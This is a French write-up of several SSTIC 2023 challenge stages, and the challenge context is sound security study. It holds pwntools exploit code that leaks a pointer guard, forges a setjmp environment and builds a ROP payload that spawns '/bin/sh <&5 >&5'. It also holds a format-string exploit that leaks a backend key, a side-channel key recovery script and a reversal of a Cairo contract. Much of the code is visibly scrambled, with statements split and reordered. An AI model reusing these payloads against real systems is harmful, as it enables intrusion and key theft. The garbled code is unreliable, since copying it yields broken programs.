r.sendline("Data id:")
r.recvuntil(str(id))
r.sendline("Data in hex?(y/n)")
r.recvuntil("z")
r.sendline("Bad choice")
r.recvuntil(
= 0x151000
OFFLIBC = 0
ptr_guard = 0
base_addr = 0
sp = 0
env = 0
libc_base = 0x18
offset_error = 0x80
offset_pc = 0x90
offset_sp = 0x78
offset_key1 = 0x38
offset_libc def parse_leak(l):
global ptr_guard
global base_addr
global sp
global env
global libc_base
print("FU")
= l.find(b"Message 4:")
ff = l[ff+11:ff+11+512]
data print(data)
= bytes.fromhex(data.decode("ascii"))
raw_data
hexdump(raw_data)= 0x18
offset_error = 0x80
offset_pc = 0x90
offset_sp = 0x78
offset_key1 = u64(raw_data[offset_error:offset_error+8])
error_p = u64(raw_data[offset_pc:offset_pc+8])
prot_pc = u64(raw_data[offset_sp:offset_sp+8])
prot_sp = u64(raw_data[offset_key1:offset_key1+8])
key1 = u64(raw_data[offset_libc:offset_libc+8]) - OFFLIBC
libc_base = prot_sp ^ key1
ptr_guard = error_p - 0x4060
base_addr = key1
sp =raw_data
envprint(f"{error_p=:x} {prot_pc=:x} {prot_sp=:x} {key1=:x} {ptr_guard=:x} {libc_base=:x}")
"D")
r.sendline(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_bad_data("D")
r.sendline(2,b"\xff"*0x20 + b"\x33"*0x10)
add_bad_data("E")
r.sendline(4,b"\xff"*0x20 + b"\x33"*0x10)
add_leak_data(print(r.recvuntil("Option:"))
"E")
r.sendline(print(r.recvuntil("Option:"))
"V")
r.sendline("Data in hex?(y/n)")
r.recvuntil("y")
r.sendline(= r.recvuntil(b'B. Back to main menu\n')
data_r "Option:")
r.recvuntil(print(data_r)
parse_leak(data_r)
Obtention du shell
Maintenant que nous connaissons la valeur du secret protégeant
SP
et PC
, nous pouvons contrôler où se trouve
la stack. En la faisant pointer dans un chunk, nous contrôlons
complètement le contenu de la stack après un longjump
.
Ici il est donc possible de faire du ROP
en faisant
pointer PC sur un gadget, mais en fait nous n’en avons besoin que d’un
seul. L’objectif est d’appeler system
avec une commande
contrôlée. Nous plaçons la commande dans un chunk, donc nous
connaissons son adresse. Le gadget suivant dans la libc
semble parfait:
0x0000000000075ea0 : ldp x1, x0, [sp, #0x48] ; blr x1
Il nous suffit de mettre l’adresse de la commande et l’adresse de
system
dans la stack, puis de déclencher un longjump en
mettant un mauvais crc pour le chunk qui écrase l’env
setjmp
afin de sauter sur notre gadget qui va exécuter
system
.
Comme nous communiquons avec le frontend sur la socket de
fd
5
, il faut rediriger ce fd
vers stdin
et stdout
. La commande que l’on
utilise est donc
/bin/sh <&5 >&5
Le code python pour obtenir le shell:
def forge_env(new_pc,new_sp):
= bytearray(env)
ret +8] = p64(new_pc ^ ptr_guard)
ret[offset_pc:offset_pc+8] = p64(new_sp ^ ptr_guard)
ret[offset_sp:offset_spreturn ret
= 0x0000000000075ea0
GADGET_OFFSET =0x15e24 + 0xc+0xa0
ADDR_PAYLOAD_OFF=0x15e24 +0xc+0x40
ADDR_STACK_OFF=0x479f4
OFFSET_SYSTEMdef get_first_packet(addr_payload, addr_system):
= b""
ret += b"/bin/sh <3\x00"
ret += b"\x00" * (0x40 - len(ret))
ret += b"\xDD"*8
ret += b"\x00"*0x40
ret += p64(addr_system)
ret += p64(addr_payload)
ret = 16 - (len(ret) % 16)
padlen += b"\xEE"*padlen
ret = b'/bin/sh <&5 >&5\x00'
payload += payload
ret += b"\x00" * (0x40 - len(payload))
ret return ret
= get_first_packet(base_addr + ADDR_PAYLOAD_OFF, addr_system=libc_base+OFFSET_SYSTEM)
first_data
hexdump(first_data)
"D")
r.sendline(1,first_data)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(1,b"\x00"*0x10 + b"\x22"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_data(2,first_data)
add_data(2,b"\xff"*0x20 + b"\x33"*0x10)
add_bad_data("D")
r.sendline("Option:")
r.recvuntil(2,b"\xff"*0x20 + b"\x33"*0x10)
add_bad_data("E")
r.sendline("Option:")
r.recvuntil(= forge_env(libc_base + GADGET_OFFSET, base_addr + ADDR_STACK_OFF)
send_data #add_data_bad_crc(5,send_data)
5,send_data)
add_data(2,first_data)
add_data(2,first_data) #trigger shell add_data_bad_crc(
Backend
Le fichier envoyé si on a le bon mot de passe est récupérable dans le
dossier backendUser
. Il sera analysé dans la partie
suivante. De plus, pour communiquer avec le backend, il faut écrire sur
le socket de fd
4. Nous pouvons par exemple utiliser les
commandes suivantes:
#ecriture
cat payload >&4
#lecture
cat <&4 >output &
hexdump -C output
Exploitation du Backend
Nous n’avons pas le binaire complet du backend mais seulement la
section .text
Cela signifie que nous n’avons pas les
données et surtout pas les tables de relocations ni interne ni externe.
Nous devons donc guesser quelles fonctions de la libc sont
appelées et nous n’avons pas l’adresse des variables globales.
Cependant, l’offset de la clé est disponible.
Le backend reçoit du frontend des requêtes au format suivant:
struct req_resp
{
int status;
int command;
struct chunk chunk;
};
Ce format est utilisé pour la requête et la réponse du serveur.
Les commandes peuvent être:
- 0x1337 : Envoyer des données à traiter (dans le champs §packet§)
- 0x1338 : chiffrée les données envoyées avec 0x1337
- 0x1339 : déchiffrer les données envoyées avec 0x1337
- 0x133a : signer les données envoyées avec 0x1337
- 0x133c : vérifier le mot de passe
- 0x133d : envoyer le “firmware” (nous savons maintenant que cela n’a rien d’un firmware mais c’est le .text d’un binaire ELF)
- 0x133e : Envoyer la clé si le mot de passe fourni dans la requête est le bon.
Vulnérabilités
La vulnérabilité la plus évidente est dans la commande 0x1337
= &main_buf->packey;
p_packey if ( *(_DWORD *)nb_data == 10 )
return 0LL;
if ( LOBYTE(p_packey->is_encrypted) )
= main_buf->packey.encrypted_size;
data_size else
= main_buf->packey.dec_size;
data_size if ( LOBYTE(p_packey->is_encrypted)
&& (!main_buf->packey.encrypted_size
|| (main_buf->packey.encrypted_size & 0xF) != 0
|| main_buf->packey.encrypted_size > 0x100u)
|| LOBYTE(p_packey->is_encrypted) != 1 && (!main_buf->packey.dec_size || main_buf->packey.dec_size > 0x100u)
|| (unsigned int)maybe_crc((__int64)main_buf->packey.data, data_size) != main_buf->packey.crc )
{
return 0LL;
}
((void (__fastcall *)(__int64, packet *, __int64))memcpy)(
0x114LL * *(unsigned int *)nb_data + paquet_tab,
,
p_packey0x114LL);
++*(_DWORD *)nb_data;
return 1LL;
La taille du chunk est vérifiée uniquement selon le booléen
is-encrypted
, Il est donc possible de fournir mettre une
taille arbitraire dans encrypted_size
si le booléen est à
faux et inversement. Ensuite, dans les fonctions 0x1338 et 0x1339, la
taille n’est pas vérifiée. Malheureusement, malgré des jours passés à
faire des essais un peu exotiques avec CBC, la clé n’a pas été exfiltrée
de cette manière.
Une autre vulnérabilité est dans la fonction de la commande 0x133e. Si le mot de passe envoyé est faux, le code exécuté est vulnérable.
D’abord une requête de réponse est forgée, puis effacée, puis la
réponse constituée d’octets nuls est envoyée au client. Cependant, avant
cela le mot de passe envoyé par le client est copié dans la pile à
l’aide de… sprintf
(que j’ai initialement confondue avec
strncpy puisque cela avait plus de sens). Ensuite le serveur attend une
seconde et renvoie le résultat du sprintf
au client.
Contrairement à toutes les autres requêtes, le résultat n’est pas envoyé
dans le champ req->chunk->data
mais directement dans
req->chunk
, ce qui écrase les métadonnées (par exemple
la taille des données).
->status = 0;
main_buf(sprintf_result, 0, 33);
memset((void (__fastcall *)(char *, __int64, char *))sprintf)(sprintf_result, 33LL, main_buf->packey.data);
->command = 0x1337; //will be erased
main_buf->packet.dec_size = 0x32; //will be erased
main_buf((void (__fastcall *)(packet *, void *, __int64))memcpy)(p_packet, &unk_4788, 0x32LL); //will be erased
(); // erase everything????
reset_response_buffer(a1); // why send zeros?
probably_send_back((void (__fastcall *)(__int64))sleep)(1LL);// why?
->packet.dec_size = 32; //will be erased in the next line anyway
main_buf((void (__fastcall *)(packet *, char *, __int64))memcpy)(p_packet, sprintf_result, 32LL);// why not in data?
(a1); // why send that anyway?
probably_send_back(result) = 0; LODWORD
Bien que nous n’ayons trouvé aucune logique à ce code, cela nous
permet d’avoir une vulnérabilité de type format string
Éxploitation de la
format string
Il existe des centaines de challenges de format string sortis depuis
plus de dix ans, celui-ci est par exemple très similaire à un des
premiers challenges
de root-me
sorti en 2012. Nous ne rentrons donc pas dans
les détails de l’attaque. L’objectif est d’abord de leaker l’adresse du
binaire pour obtenir l’adresse de la clé, puis de leaker la clé. En
aarch64
, toutes les valeurs de printf sont présentes sur la
stack. Il est donc aisé de recupérer le numéro de l’argument
correspondant à la valeur de LR
stockée sur la pile en
regardant à quel offset il est stocké. C’est l’argument
7
.
Le code qui leak l’adresse du backend:
(passwd):
def gen_getkey(passwd) == 32
assert len= b""
ret += p32(1)
ret += p32(0x133e)
ret += p32(0)
ret += p32(32)
ret += p32(1)
ret += passwd
ret += b"\x00" * (0x100 - 32)
ret += p32(zlib.crc32(passwd))
ret += p32(0)
ret return ret
= b""
payload_to_send = f"AAAAAAAA %7$lx".encode()
passwd += gen_getkey(passwd + b"\x00" * (32 - len(passwd))) payload_to_send
Maintenant il faut trouver le numéro d’argument qui correspond à
l’adresse de la chaîne qui est placée après AAAAAAAA
dans
le code précédent. De la même manière que précédemment nous trouvons
5
. Il faut alors écrire une chaîne contenant l’adresse de
la clé, puis lire une chaîne à cette adresse.
= b"AAAAAAAA" + p64(new_addr) + b"CCCCCCCCDDDDDDDD"
passwd = gen_getkey(passwd + b"\x00" * (32 - len(passwd)))
pay = f"%5$s".encode()
passwd += gen_getkey(passwd + b"\x00" * (32 - len(passwd)))
pay print (base64.b64encode(pay))
flag
Une fois la clé récupérée, nous pouvons déchiffrer le flag correspondant:
✅ SSTIC{ba75fa41a81c43c1095588250d45af850cfcec187ae269f2389829224ae6060b} |
Étape 2D - Attaque hardware
Pour cette étape nous devons extraire une clé d’une mémoire sécurisée, à partir des résultats d’une attaque hardware. Nous disposons d’un fichier au format h5 ainsi qu’une description très vague de l’attaque qui a été menée:
Nous avons essayé d’extraire les informations en attaquant la mémoire sécurisée avec des injections de fautes mais sans succès 😒.
Pour information la mémoire sécurisée prend un masque en argument et utilise la valeur stockée XORé avec le masque. Les mesures faites pendant l'expérience sont stockées dans data.h5.
La première étape consiste donc à deviner ce qui a été mesuré et dans quel contexte.
Contenu du fichier
data.h5
Pour cela il faut commencer par regarder ce qui est contenu dans le
fichier h5. Il s’agit d’un format dédié au stockage de données, en les
regroupant par datasets. On peut l’ouvrir à l’aide de la
bibliothèque h5py
.
2]: import h5py
In [
3]: f=h5py.File("./data.h5", "r")
In [print(f.keys())
...:
...: <KeysViewHDF5 ['leakages', 'mask', 'response']>
14]: print(f["leakages"])
n [<HDF5 dataset "leakages": shape (25000, 600), type "<f8">
15]: print(f["mask"])
In [<HDF5 dataset "mask": shape (25000, 32), type "|u1">
16]: print(f["response"])
In [<HDF5 dataset "response": shape (25000, 4), type "|u1">
Il y a trois datasets, chacun a deux dimensions dont la première est de taille 25000. Nous pouvons donc deviner ici que l’expérience a été faite 25000 fois. Il faut maintenant deviner à quoi correspondent chaque dataset.
leakage dataset
Pour chaque essai parmi les 25000, il y a 600 données possibles. Nous commençons par afficher sur un graphe un de ces essais:
from matplotlib import pyplot as plt
"leakages"][0])
plt.plot(f[ plt.show()
Les données vont de 0 à 0.22, avec un pic. On peut deviner que c’est la consommation de courant qui a été mesurée, car c’est assez courant dans ce genre d’attaque. Nous savons aussi qu’un gltich a été généré, mais on ne sait pas comment (EM, courant, laser…). Cependant, il est probable que le pic de consommation soit dû au glitch. Nous confirmons cela en vérifiant qu’il n’y a qu’un seul pic sur les autres mesures.
mask dataset
Le texte d’introduction nous parle d’un masque qui serait donné à la
mémoire en argument. Nous pouvons donc nous attendre à ce que ce
dataset soit relié. Cependant, comme les données enregistrées
sont de type u8
(unsigned int sur 8 bits), il est probable
qu’il ne s’agisse pas de consommation de courant. Nous faisons
l’hypothèse que chaque valeur correspond à une valeur d’un octet du
masque. Nous avons 32 valeurs pour chaque essai parmis les 25000 donc
nous faisons l’hypothèse que la taille du masque est 32 octets, mais
nous n’avons pas d’information quant à l’ordre de ces valeurs,
Comme nous n’avons aucune information sur l’origine du masque, nous faisons l’hypothèse que le masque est choisi aléatoirement. Nous vérifions cela en calculant l’entropie de Shannon sur chaque byte du masque. Si l’entropie est proche de 8bits, alors les valeurs pour un octet du masque sont distribuées uniformément.
from scipy.stats import entropy
for byte in range(32):
= [0]*256
cnts for t in range(25000):
"mask"][t][byte]] += 1
cnts[f[= [x/25000 for x in cnts]
pks = entropy(pks, base=2)
H print(f"byte {byte} ent = {H}")
assert H > 7.99
reponse dataset
Ce dataset contient 4 valeurs, toujours les mêmes sur les
25000 essais. Il semble que ce soit 4 valeurs ascii formant le mot
NACK
, indiquant qu’un mauvais pin à été entré. On aurait pu
penser que pour les essais avec un glitch réussi, on obtiendrait des
valeurs différentes, mais ce n’est pas le cas. Ce dataset n’a pas été
utile pour ce challenge.
Analyse du dataset
leakage
Nous commençons par afficher sur un graphe quelques essais de l’expérience pour avoir une idée de la différence de mesure entre les différents essais:
Nous voyons que pour certains essais, il y a des mesures positives après le point de mesure 350. Nous pouvons deviner que c’est peut être quand le glitch a réussi à contourner l’authentification par PIN, et que l’exécution continue. Un autre guess serait de se dire que la mémoire sécurisée est lue uniquement dans ces cas là. En conséquence, uniquement les essais avec un glitch réussi nous intéressent. Pour éliminer les autres, nous nous basons sur la moyenne des mesures après le point de mesure 350.
= [] #liste des essais a garder
okl
for i in range(25000):
if np.mean(f["leakages"][i][350:480]) > 0.12:
okl.append(i)
Il y en a environ 2800. Maintenant nous affichons ces essais sur un graphe et nous regardons uniquement la partie après 350.
La première partie est commune aux 2800 essais, mais nous voyons quelques différences sur la 2eme partie. De plus, il y a exactement 32 pics, exactement autant d’octets que le masque. Nous pouvons faire un énorme guess ici: chaque pic de la deuxième partie correspond à la lecture d’une valeur masquée, chacune avec un octet du masque différent.
Éxtraction de la clé
Nous regardons un peu plus en détail les pics correspondants aux lectures de valeurs masquées.
Les autres pics sont similaires: il y a 9 valeurs possibles. Encore
un guess : il pourrait s’agir du poid de hamming des valeurs
lues (de 0 à 8 inclus). En effet, il est courant que la consommation de
courant soit proportionnelle au poids de hamming lors de la lecture
d’une valeur. Maintenant nous allons encore faire un dernier
guess: l’ordre des octets du masque dans le dataset
mask
sont dans exactement le même ordre que les 32 pics
lectures que l’on pense observer. Pour un pic on peut donc observer les
différents poids de hamming d’une valeur de la mémoire sécurisée xorée
avec différents masques. On peut associer un niveau de consommation
mesuré à un poids de hamming donné. En général, on observe une
différence de poids de Hamming entre les lecture, mais ici le
niveau de consommation de courant revient à 0 entre chaque lecture (du
moins en dessous du niveau qui correspond à un poids de hamming de 0).
Nous pouvons donc determiner exactement le poid de hamming de chaque
octets lus.
On note donc h_{i,j} le poid de hamming mesure pour l’octet i sur la mesure j, H la fonction “poid de hamming”, chaque octet de la mémoire sécurise o_i et m_i,j les valeurs du masque pour la position i sur l’essai j. On a donc:
h_{i,j} = H(o_i \oplus m_i,j)
Ici une attaque CPA semble indiquée pour retrouver les octets de mémoire sécurisée. Mais grace au fait que les mesures contiennent les poids de Hamming de chaque lecture à la place des différences de poids de Hamming, il est très simple d’extraire la clé même sans CPA.
Pour cela, pour chaque octet i et un poid de hamming donne p, E_p est l’ensemble des mesures j telles que h_{i,j} = p. Ensuite il faut bruteforcer chaque valeur possible de o_i. Les valeurs candidates possibles sont celles satisfaisant:
\forall j \in E_p, H(o_i \oplus m_{i,j}) = p
Il faut recommencer le bruteforce pour chaque valeur de p, en espérant avoir une valeur pour o_i commune a la fin.
Pour résumer, on cherche les valeurs o_i telles que: \forall p \in [0,8], \forall j \in {x, h_{j,x} = p}, H(o_i \oplus m_{i,j}) = p
Dans ce challenge, il y a assez de mesures pour n’avoir qu’une seule valeur candidate pour chaque octet avec seulement une valeur de p, ce qui simplifie un peu le code ci-dessous (avec p = 6). Il est possible de valider que les valeurs candidates trouvées sont les bonnes en refaisant le bruteforce pour un autre point de Hamming et vérifier que les mêmes valeurs en résultent.
Le code python pour extraire la clé:
def h(x):
return sum( [x&(1<<i)>0 for i in range(8)] )
= { 0:1300, 1:1350, 2:1400, 3:1450, 4:1500, 5:1550, 6:1600, 7:1650, 8: 1700}
hamms = range(350+71,350+71+2*32,2)
times = []
key for iii,time in enumerate(times):
= set()
gg for li in okl: #liste des leakages filtree, mais le code marche aussi avec la liste complete
= f["leakages"][li]
l if int(l[time] * 10000) == hamms[6]:
"mask"][li][iii]))
gg.add((f[for i in range(256):
= []
ll for g in gg:
^g))
ll.append(h(iprint(f"{i}:{ll}")
if len(set(ll)) == 1 and ll[0] == 6:
print("found {i:x}")
key.append(i)break
print(key)
Nous n’avons aucune indication de à quoi servent ces 32 valeurs ni si elles sont dans le bon ordre, mais nous devinons qu’il s’agit de la clé privée que nous devons récupérer lors de cette étape puisqu’il ne semble y avoir rien d’autre à regarder dans le challenge. Nous pouvons donc déchiffrer le fichier de flag correspondant.
✅ SSTIC{15fb587e4dc04bbb7abb68fc6651f593d6eb0e4fd84bbfa800c6a66043bda86a} |
Étape 3 - Reverse Cairo
Maintenant que nous avons les 4 clés privées, nous pouvons signer un message permettant de se logger comme administrateur. Pour cela, nous reprenons le code de l’étape 2A puisqu’il implémente le protocole musig2, et on génère les 4 signatures partielles que l’on agrège. La génération des nonces n’a pas d’importance ici.
= b"We hereby authorize an admin session of 5 minutes starting from 2023-04-07 15:27:44.856924+00:00 (nonce: 040a16d22bf05b4dd72fb7eac6a7a98d)."
m = int.from_bytes(bytes([84, 100, 66, 80, 73, 22, 66, 249, 150, 209, 201, 74, 74, 200, 168, 219, 236, 102, 221, 11, 166, 111, 2, 113, 180, 230, 93, 85, 112, 2, 106, 155]),"big")
keyD = int(32397748964588217353341318317432783880090649436123362081161843221664749742056)
keyA = 0x81e8d3a6ad341da46e6361b7c1c376b5423e7ad04748077b93a0c20263305824
keyB = int.from_bytes(bytes.fromhex("04 c6 cb 31 e7 f3 ba 69 4c c0 1f 50 d6 57 3f 8d 22 be 2e 1b d7 86 1e 17 6d 5b 4e d4 3c 13 f9 f9"),"big")
keyC = [keyA,keyB,keyC,keyD]
privs = []
signs
def get_nonce(*args):
return 3
= []
pubs for p in privs:
= p*G
pub
pubs.append(pub)
= []
rss = []
Rss = [Point.infinity(), Point.infinity(), Point.infinity(), Point.infinity()]
RR for i,p in enumerate(privs):
= first_sign_round_sign(p,m,4,get_nonce)
rs, Rs
rss.append(rs)
Rss.append(Rs)for i,R in enumerate(Rs):
+= R
RR[i]
for i,p in enumerate(privs):
= Hash_agg(pubs,pubs[i])
a = second_sign_round_sign(pubs,RR,m,a,p,rss[i])
Rpp , s, _
signs.append(s)
= 0
S for s in signs:
+= s
S %= order
S print("signature : ")
print(Rpp,S)
Maintenant que nous sommes admin, nous pouvons accéder à la page
d’achat implémentée par le fichier achat.py
. La page
demande plusieurs valeurs: un entier id
identifiant de
coupon, plusieurs entiers c
, et deux entiers a
et b
. En examinant les fichiers sources de l’application
web, il est clair que la validation se fait à l’aide d’un contrat dans
la blockchain starknet
. En effet l’application web contact
un “séquenceur starknet” c’est à dire un noenœudud de la blockchain
starknet à l’adresse blockchain.quatre-qu.art
. La fonction
“validate” de ce contrat est appelée pour valider les valeurs données
par l’utilisateur. Le nœud starknet est aussi utilisé pour déployer le
contrat, mais nous n’avons ni le code ni l’adresse de ce dernier.
Heureusement, il ne semble pas y avoir d’authentification sur le nœud
starknet et nous pouvons utiliser l’API python starknet.py
pour nous y connecter. Pour cela on reprend tout simplement le code du
fichier config.py pour creer un objet “GatewayClient” qui permet
d’accéder à des fonctions du nœud.
= "blockchain.quatre-qu.art"
RPC_REMOTE_IP = f"https://{RPC_REMOTE_IP}"
RPC_URL = GatewayClient(RPC_URL) CLIENT
Parmi les fonctions disponibles il y a
get_block_traces_sync()
qui permet de récupérer les
transactions passées. Le résultat est un peu gros mais la partie
intéressante est celle-ci:
{'call_type': 'CALL',
'calldata': ['0x53796e61636b74697620726563727574652037393538', '0x3', '0x556aa1647f952d8767f996794e152de15f9599676c07fd3da8ce884718762e2', '0x75dee45af02a57b23aa38f8d134c760b64e65286f50bda86625f7adb9015b01', '0x7acfb3b6ea68ebfec525cbcb49e2c64e85642770b5ea7930b20a2aa06a4652c', '0x30bc0a00f979a5e2f59255b10a5', '0xab90cfa0d0aa1e98c5c966a664a33c4d'],
'caller_address': '0x4ece2bf9ab3bdb76e689eea5662dc5c07964dc5f00f745972f264df991d8b4d',
'class_hash': '0x1e1a447178291dba24dfe53f03e6beee131b94e16373e824a14597ffc53a981',
'contract_address': '0x6b0a96cac8fada00f85569b27c0feee4b2fb1923159c6673b0d3c8b5f5a2ceb',
'entry_point_type': 'EXTERNAL',
'events': [],
'execution_resources':
{'builtin_instance_counter': {'pedersen_builtin': 6, 'range_check_builtin': 12},
'n_memory_holes': 20, 'n_steps': 342},
'internal_calls': [], 'messages': [], 'result': [],
'selector': '0x3d5dd63d7dc0de108d32d55bd8a8f2b62fd23d0938f9b5b2c6003ec0cb829ca'}
Nous pouvons non seulement voir l’adresse du contrat:
0x4ece2bf9ab3bdb76e689eea5662dc5c07964dc5f00f745972f264df991d8b4d
mais aussi des arguments passés à une fonction de ce contrat. Ces
arguments semblent correspondre exactement aux arguments attendus par la
fonction validate! Malheureusement, ils ne marchent pas.
Une fois l’adresse du contact en notre possession, il reste à demander à notre noeud starknet de nous donner le code du contrat sous forme compilée:
curl "https://blockchain.quatre-qu.art/feeder_gateway/get_full_contract?contractAddress=0x4ece2bf9ab3bdb76e689eea5662dc5c07964dc5f00f745972f264df991d8b4d" > contract.json
Puis d’utiliser thoth
pour obtenir une forme
désassemblée et une forme decompilée
brice@C02DC24UMD6T /tmp % thoth local contract.json -b > disass.txt
brice@C02DC24UMD6T /tmp % thoth local contract.json -d > decomp.txt
Reverse du contrat
Grâce à thoth
nous avons le code correspondant à la
fonction validate
qui nous intéresse. Le bytecode Cairo est
un peu spécial:
- Toutes les opérations arithmétiques sont faites dans \mathbb{Z}/p\mathbb{Z} avec p un nombre premier propre à Cairo (ou spécifique au contrat mais ce n’est pas le cas ici)
- Il n’y a que deux registres, qui sont des pointeurs dans la mémoire. Chaque cellule de la mémoire est un entier dans le corps de Cairo ( \mathbb{Z}/p\mathbb{Z})
- Il n’y a pas d’opérateur d’assignation. Il n’y a qu’un opérateur “ASSERT_EQ” qui est une assertion que deux cellules mémoires sont égales. Si les deux cellules contiennent des valeurs, il s’agit d’un assert classique qui peut terminer le programme si l’assertion est fausse. Mais si une des deux cellules mémoire n’est pas assignée, alors Cairo éssaye de trouver une valeur pour laquelle l’assertion est vraie. Ainsi, l’opcode sert aussi d’assignation.
- Un hash couramment utilisé dans les programmes Cairo est le hash de pebersen. Il prend deux valeurs dans le corps de Cairo et renvoie un troisième entier qui est un hash.
- Comme les autres blockchains à contrat, un stockage sous forme de base de données clé-valeur est accessible.
Le code de validate
commence par vérifier que l’argument
id
n’a pas été utilisé. Pour cela il vérifie que la valeur
de id
n’est pas dans le stockage et si c’est le cas, la
valeur 1 est écrite avec comme clé l’id
. Comme la valeur
est écrite avant que l’id soit valide comme correct, et que le stockage
est limité à environs 2000 valeurs, on peut facilement imaginer une
attaque DoS du contrat, mais ça ne nous intéresse pas ici.
Ensuite, un hash est calculé sur toutes les valeurs du tableau
code
. Pour cela, le hash de pebersen est utilisé d’abord
sur un nonce et sur la première valeur du tableau, puis récursivement
sur le dernier hash généré et la valeur suivante du tableau. Un
équivalent en python est plus clair:
def f(code, nonce):
= nonce
prev for c in code:
= pebersen(prev,c)
h = h
prev return h
Le nonce est lu dans le storage: c’est la valeur pour la clé
0x2b1577440dd7bedf920cb6de2f9fc6bf7ba98c78c85a3fa1f8311aac95e1759
.
Nous le récupérons toujours grâce à notre client avec la fonction
get_storage_at_sync
. Il vaut
0x5B65565F4E4FC51283F9B627D5A075D8
.
52]: hex(CLIENT.get_storage_at_sync(0x6b0a96cac8fada00f85569b27c0feee4b2fb1923159c6673b0d3c8b5f5a2ceb, 0x2b1577440dd7bedf920cb6de2f9fc6bf7ba98c78c85a3fa1f8311aac95e1759))
In [52]: '0x5b65565f4e4fc51283f9b627d5a075d8' Out[
Ensuite dans la fonction second
, les valeurs
a
et b
sont vérifiées avec le hash
h
. En fait, la valeur b
doit être égale aux
bits de poids faible de h
et a
aux bits de
poids fort. De plus, a
doit être inférieur à une valeur
telle que h
doit commencer par 5 zéros dans la
représentation hexadécimale.
#verification done in "second" function
= f(nonce,code)
hh = hh // 0x100000000000000000000000000000000
a = hh % 0x100000000000000000000000000000000
b assert a < 0x1000000000000000000000000000
La valeur hid
est calculée en hachant le nonce et
l’id
. Ensuite, la fonction _validate
est
appelée avec hid
et code
en argument.
Le fonction _validate
lit 3 valeurs du tableau
code
et vérifie quelques assertions sur les valeurs de
code
et id
. Cependant, pour faire cela une
certaine fonction j
est appelée et son code est obfusqué.
En effet, voici le code désassemblé de j
.
offset 218: NOP
offset 220: CALL 7 # starkware.cairo.lang.compiler.lib.registers.get_ap
offset 222: ASSERT_EQ [FP], [AP-1] + 6
offset 224: ASSERT_EQ [AP], [[FP-3]+2]
offset 224: ADD AP, 1
offset 225: ASSERT_EQ [AP], 0x480680017fff8000
offset 225: ADD AP, 1
offset 227: ASSERT_EQ [AP], [FP-4]
offset 227: ADD AP, 1
offset 228: ASSERT_EQ [AP], 0x400680017fff8000
offset 228: ADD AP, 1
offset 230: ASSERT_EQ [AP], [[FP-3]]
offset 230: ADD AP, 1
offset 231: ASSERT_EQ [AP], 0x48507fff7fff8000
offset 231: ADD AP, 1
offset 233: ASSERT_EQ [AP], 0x484480017fff8000
offset 233: ADD AP, 1
offset 235: ASSERT_EQ [AP], 4919 # 0x1337
offset 235: ADD AP, 1
offset 237: ASSERT_EQ [AP], 0x400680017fff8000
offset 237: ADD AP, 1
offset 239: ASSERT_EQ [AP], 4918 # 0x1336
offset 239: ADD AP, 1
offset 241: ASSERT_EQ [AP], 0x484480017fff8000
offset 241: ADD AP, 1
offset 243: ASSERT_EQ [AP], [[FP-3]+1]
offset 243: ADD AP, 1
offset 244: ASSERT_EQ [AP], [AP-12] * [AP-10]
offset 244: ADD AP, 1
offset 245: CALL abs [FP]
offset 246: RET
Ces valeurs en hexadécimal sont en fait du bytecode Cairo! Du
bytecode est donc placé en mémoire avant de sauter dessus avec
CALL abs [FP]
Une fois ce nouveau bytecode desassemblé, nous obtenons les
congruences que les valeurs de code
c_0, c_1
doivent satisfaire avec h l’entier égal
à hid
:
\begin{equation} h^2 \equiv c_0 \mod P \end{equation}
\begin{equation} c_0c_11337_{16} \equiv 1336_{16} \mod P \end{equation}
Cependant, le code désassemblé ne contient pas d’instruction
RET
. En fait, la valeur c_2h est placée juste après le bytecode
construit en mémoire et doit valoir l’entier correspondant à
l’instruction RET
pour que la fonction j
termine correctement. Cette valeur est 0x208B7FFF7FFF7FFE
,
donc on a:
\begin{equation} hc_2 \equiv \mathrm{208B7FFF7FFF7FFE}_{16} \mod P \end{equation}
À partir de ces équations on détermine comment calculer les valeurs
de code
.
\begin{equation} c_0 \equiv h^2 \mod P \end{equation}
\begin{equation} c_1 \equiv 1336_{16}(c_01337_{16})^{-1} \mod P \end{equation}
\begin{equation} c_2 \equiv \mathrm{208B7FFF7FFF7FFE}_{16}h^{-1} \mod P \end{equation}
Nous avons donc tout ce qu’il faut pour générer code
,
a
et b
a partir d’un id
donne.
Cependant, comme il y a une contrainte sur a
(inferieur à
0x1000000000000000000000000000
), il faut bruteforcer
quelques valeurs de id
.
Le code python qui nous génère des valeurs valides:
from fastecdsa.curve import Curve
from fastecdsa.point import Point
from starkware.crypto.signature.signature import (
ALPHA,
BETA,
CONSTANT_POINTS,
EC_ORDER,
FIELD_PRIME,
N_ELEMENT_BITS_HASH,
SHIFT_POINT,
)from starkware.python.utils import from_bytes, to_bytes
= Curve("Curve0", FIELD_PRIME, ALPHA, BETA, EC_ORDER, *SHIFT_POINT)
curve
= 248
LOW_PART_BITS = 2**248 - 1
LOW_PART_MASK = Point(*SHIFT_POINT, curve=curve)
HASH_SHIFT_POINT = Point(*CONSTANT_POINTS[2], curve=curve)
P_0 = Point(*CONSTANT_POINTS[2 + LOW_PART_BITS], curve=curve)
P_1 = Point(*CONSTANT_POINTS[2 + N_ELEMENT_BITS_HASH], curve=curve)
P_2 = Point(*CONSTANT_POINTS[2 + N_ELEMENT_BITS_HASH + LOW_PART_BITS], curve=curve)
P_3
def process_single_element(element: int, p1, p2) -> Point:
assert 0 <= element < FIELD_PRIME, "Element integer value is out of range"
= element >> LOW_PART_BITS
high_nibble = element & LOW_PART_MASK
low_part return low_part * p1 + high_nibble * p2
def pedersen_hash(x: int, y: int) -> int:
"""
Computes the Starkware version of the Pedersen hash of x and y.
The hash is defined by:
shift_point + x_low * P_0 + x_high * P1 + y_low * P2 + y_high * P3
